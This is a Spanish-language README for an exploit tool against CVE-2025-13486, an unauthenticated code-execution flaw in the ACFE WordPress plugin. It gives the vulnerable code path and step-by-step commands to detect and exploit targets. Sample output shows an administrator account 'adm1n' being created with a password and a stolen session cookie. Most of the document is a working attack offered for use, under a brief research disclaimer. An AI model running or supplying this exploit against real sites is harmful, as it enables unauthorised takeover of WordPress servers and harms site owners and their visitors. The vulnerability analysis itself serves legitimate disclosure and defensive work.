
CVE-2025-13486 - Ejecución remota de código y explotación de escalada de privilegios
Explotación de la CVE-2025-13486 descubierta por Marcin Dudek (dudekmar)
Este repositorio se proporciona únicamente con fines de investigación y seguridad defensiva. El autor no asume ninguna responsabilidad por el mal uso de esta información.
El plugin Advanced Custom Fields: Extended (ACFE) para WordPress es vulnerable a Ejecución Remota de Código (RCE) en las versiones 0.9.0.5 a 0.9.1.1.
La vulnerabilidad existe en la función prepare_form(), que acepta entrada controlada por el usuario y la reenvía a call_user_func_array() sin la validación adecuada.
Esto permite a atacantes no autenticados ejecutar código PHP arbitrario en el servidor de manera limitada, pero suficiente para crear una cuenta de administrador e iniciar sesión.
La cadena de vulnerabilidades es la siguiente:
includes/modules/form/module-form-front.php:24 -> La acción wp_ajax_nopriv_acfe/form/render_form_ajax activa el controlador render_form_ajax.
includes/modules/form/module-form-front.php:492 -> El filtro acfe/form/prepare_form se aplica, invocando la función prepare_form().
includes/modules/form/module-form-front-render.php:151 -> Los datos $form controlados por el usuario se pasan directamente a call_user_func_array().
Instalar las dependencias de Python:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Identificar un objetivo WordPress vulnerable.
El objetivo debe contener una página con un formulario generado por ACFE.
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
Ejemplo de salida:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
Ejecutar el script nuevamente con la bandera --exploit:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
Ejemplo de salida:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
Usar la cookie de autenticación de WordPress devuelta para iniciar sesión como la cuenta de administrador recién creada.